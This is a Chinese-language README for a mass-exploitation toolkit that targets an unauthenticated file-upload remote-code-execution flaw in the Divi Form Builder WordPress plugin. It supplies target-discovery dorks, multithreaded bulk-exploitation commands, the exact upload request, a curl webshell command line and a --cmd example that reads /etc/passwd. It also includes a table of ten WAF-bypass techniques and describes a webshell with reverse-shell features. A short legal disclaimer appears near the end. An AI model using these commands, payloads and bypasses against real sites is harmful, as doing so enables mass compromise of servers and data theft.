大规模利用工具包,针对CVE-2026-5524(Divi表单构建器中的未认证文件上传远程代码执行漏洞)。功能包括多线程扫描、WAF绕过技术、自定义webshell部署以及交互式命令执行。
针对 CVE-2026-5524 的大规模利用工具包,这是一个在 WordPress 插件 Divi Form Builder <= 5.1.8 中存在的未认证任意文件上传漏洞,可导致远程代码执行。
| 字段 | 值 |
|---|---|
| CVE | 2026-5524 |
| CVSS | 9.8 (严重) |
| 向量 | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 受影响版本 | Divi Form Builder <= 5.1.8 |
| 修复版本 | 5.1.9 |
| 类型 | 未认证文件上传致远程代码执行 |
| 研究人员 | 0xd4rk5id3 - EnvoraSec |
Divi Form Builder 的 WordPress 插件存在一个未认证的任意文件上传漏洞。do_image_upload() 处理程序将用户控制的 acceptFileTypes POST 参数直接传入用于验证文件扩展名的正则表达式。通过提供一个诸如 phtml 的值,攻击者可以绕过插件中仅阻止 .php 扩展名的 .htaccess 规则,上传一个具有 PHP 可执行扩展名(.phtml、.phar、.php5、.php7 等)的 webshell。
一旦文件落入 /wp-content/uploads/de_fb_uploads/ 目录,Apache 会将其作为 PHP 执行,从而使攻击者能以 Web 服务器用户的身份获得远程代码执行能力。
该问题在 Divi Form Builder 5.1.9 中已修复。
body="de_fb_obj" && body="fb_nonce"
http.html:"de_fb_obj" http.html:"fb_nonce"
inurl:"/wp-content/plugins/divi-form-builder/"
app:"WordPress" && body:"de_fb_obj"
services.http.response.body: "de_fb_obj"
要求:Python 3.8 或更新版本,运行于 Linux、macOS 或 WSL。
git clone https://github.com/caterscam/CVE-2026-5524-PoC/
cd CVE-2026-5524-PoC
pip3 install -r requirements.txt
requirements.txt
requests>=2.28.0
urllib3>=1.26.0
python3 CVE-2026-5524.py -u https://target.com
python3 CVE-2026-5524.py -l targets.txt --shell-file bypass.phtml --aggressive --no-verify -o pwned.jsonl -t 20
针对部署了 WAF(NinjaFirewall、Wordfence、ModSecurity)或强化了 Apache/nginx 配置的目标。
python3 CVE-2026-5524.py -u https://target.com --shell-file bypass.phtml --aggressive --no-verify --debug
成功上传后,脚本可以立即执行一条命令或进入交互式 shell。
python3 CVE-2026-5524.py -u https://target.com --cmd "id; uname -a; cat /etc/passwd"
python3 CVE-2026-5524.py -u https://target.com --shell
漏洞处理程序从用户输入构建正则表达式,未经任何清理。
public function do_image_upload() {
$accepted = $_POST['acceptFileTypes'];
$pattern = '/\\.(' . $accepted . ')$/i';
if (preg_match($pattern, $filename)) {
move_uploaded_file($tmp, $dest);
}
}
通过发送 acceptFileTypes=phtml,生成的正则表达式 /\.(phtml)$/i 会匹配以 .phtml 结尾的文件名,而插件自身的 .htaccess 文件仅阻止 .php 扩展名。Apache 随后将上传的文件作为 PHP 执行,从而导致远程代码执行。
爬取嵌入了 Divi Form Builder 表单的页面(/、/contact、/quote 等)。添加一个 ?nocache=<random> 参数以绕过 Varnish、WP Rocket 等页面缓存,否则它们会提供过期的 nonce。
从本地化的 JavaScript 对象中提取 fb_nonce 值:
de_fb_obj = {"fb_nonce":"<10 个十六进制字符>", ...}
向 /wp-admin/admin-ajax.php 发送 multipart 表单 POST:
action=de_fb_image_upload
fb_nonce=<nonce>
acceptFileTypes=phtml
[email protected]
从 JSON 响应中读取文件 URL:
{"files":[{"name":"abc123.phtml","url":"https://target/wp-content/uploads/de_fb_uploads/abc123.phtml",...}]}
使用 base64 编码的命令请求 shell:
curl "https://target/wp-content/uploads/de_fb_uploads/abc123.phtml?x=$(echo -n id | base64)"
脚本按优先级顺序尝试每种技术,当设置了 --aggressive 时,即使第一次上传报告成功,也会尝试所有技术。
cve-2026-5524/
|-- CVE-2026-5524.py 主利用脚本
|-- bypass.phtml 16 KB 多层 PHP webshell
|-- htaccess_enable.phtml 写入重新启用 .htaccess 的投放器
|-- user_ini.phtml 为 PHP-FPM 写入 .user.ini 的投放器
|-- targets.txt 示例目标列表
|-- pwned.jsonl 批量扫描时由 -o 标志生成
|-- requirements.txt Python 依赖
`-- README.md 本文档
+--------------------------------------------------+
| 1. 侦察阶段 |
| GET /?nocache=<random> |
| 从 de_fb_obj 解析 fb_nonce |
+-------------------------+------------------------+
|
v
+--------------------------------------------------+
| 2. 构造利用 |
| POST /wp-admin/admin-ajax.php |
| action=de_fb_image_upload |
| acceptFileTypes=phtml |
| [email protected] |
+-------------------------+------------------------+
|
v
+--------------------------------------------------+
| 3. 服务器接受并存储文件 |
| /uploads/de_fb_uploads/<随机>.phtml |
+-------------------------+------------------------+
|
v
+--------------------------------------------------+
| 4. 执行 |
| GET shell.phtml?x=base64(命令) |
| 远程代码执行达成 |
+--------------------------------------------------+
本工具仅供教育目的以及在授权渗透测试活动中使用。可接受使用的示例包括:
未经授权对你不拥有或没有明确书面许可的系统进行测试,在几乎所有司法管辖区均属违法,并严格禁止。作者不纵容也不承担因滥用此代码造成的责任。
J'ai la permission et je suis autorisé à effectuer ce pentest. (我拥有许可,并被授权执行此渗透测试。)
可能适用的法律包括印度尼西亚的 UU ITE、美国的《计算机欺诈与滥用法》、欧盟的《网络犯罪公约》以及其他地区的类似法规。如有疑问,请先获得书面授权。
仅限教育用途。完整使用条款请参阅免责声明部分。
| 标志 | 描述 |
|---|
-u URL | 单一目标 URL |
-l FILE | 包含目标列表的文件,每行一个 URL |
-t N | 并发线程数(默认 10) |
--timeout N | 请求超时秒数(默认 15) |
-o FILE | 将结果保存至 JSONL 输出文件 |
--proxy URL | 通过 HTTP 代理路由流量 |
--nonce HASH | 手动提供 nonce,跳过自动检测 |
--ext EXT | 强制使用单一扩展名,而非完整绕过列表 |
--shell | 成功后进入交互式 RCE shell(仅限单一目标) |
--cmd CMD | 在目标上执行一条命令后退出 |
--shell-file FILE | 上传自定义 shell 载荷而非内置载荷 |
--no-verify | 跳过上传后的 RCE 验证步骤 |
--strict-verify | 确认 shell URL 返回 HTTP 200 以过滤误报 |
--user-ini | 为 PHP-FPM 环境上传 .user.ini 投放器 |
--htaccess | 为 Apache 环境上传 .htaccess 重新启用器 |
--aggressive | 启用所有可用的绕过技术 |
--null-byte | 包含空字节和双扩展名尝试 |
--path-traversal | 尝试上传至 /uploads/YYYY/MM/ 子目录 |
--debug | 打印原始 HTTP 响应以进行诊断 |
| # | 技术 | 目标 |
|---|
| 1 | 替代 PHP 扩展名 .phtml、.phar、.php5、.php7、.php4、.pht、.shtml | 插件仅阻止 .php 的 .htaccess 规则 |
| 2 | 大小写变体 .PHTML、.PHP5、.PhTmL | 区分大小写的 WAF 特征(NinjaFirewall) |
| 3 | 双扩展名 .phtml.jpg、.php.jpg | Apache mod_mime 内容协商的怪癖 |
| 4 | 空字节 .php%00.jpg、.phtml%00.txt | 旧版 PHP(低于 5.3.4)及某些解析器 |
| 5 | 尾部空格或点号 .php 、.php. | Windows IIS 和旧版 Apache |
| 6 | Content-Type 欺骗 application/octet-stream | 依赖 multipart Content-Type 头的 WAF |
| 7 | 上传一个真正的 .htaccess,为 .gif、.png、.jpg、.txt、.html 等重新启用 PHP | 启用 AllowOverride All 的 Apache 服务器 |
| 8 | 上传带有 auto_prepend_file 的 .user.ini | PHP-FPM 环境 |
| 9 | 通过 multipart 边界操纵实现文件名注入 | 重新解析请求体的代理和 WAF |
| 10 | 文件名中的路径遍历 ../shell.phtml | 插件目录限制 |
| 组件 | 技术 |
|---|
| 语言 | Python 3.8+ |
| HTTP 客户端 | requests |
| TLS 处理 | urllib3 不安全模式处理自签名证书 |
| 并发 | concurrent.futures.ThreadPoolExecutor 用于批量扫描 |
| 解析 | re 提取 nonce,json 处理响应 |
| 编码 | base64 用于 webshell 命令参数 |
| 命令行接口 | argparse,包含 19 个可配置标志 |
| 组件 | 技术 |
|---|
| 语言 | PHP 7.0+ |
| 执行函数 | system()、shell_exec()、proc_open()、passthru()、popen() |
| 前端 | 纯 HTML 表单,无 JavaScript 框架 |
| 功能 | 文件浏览器、命令执行、数据库访问、反弹 shell、自安装 .htaccess 和 .user.ini |
| 大小 | 约 16 KB |
| 绕过层数 | 六个独立执行路径及编码载荷 |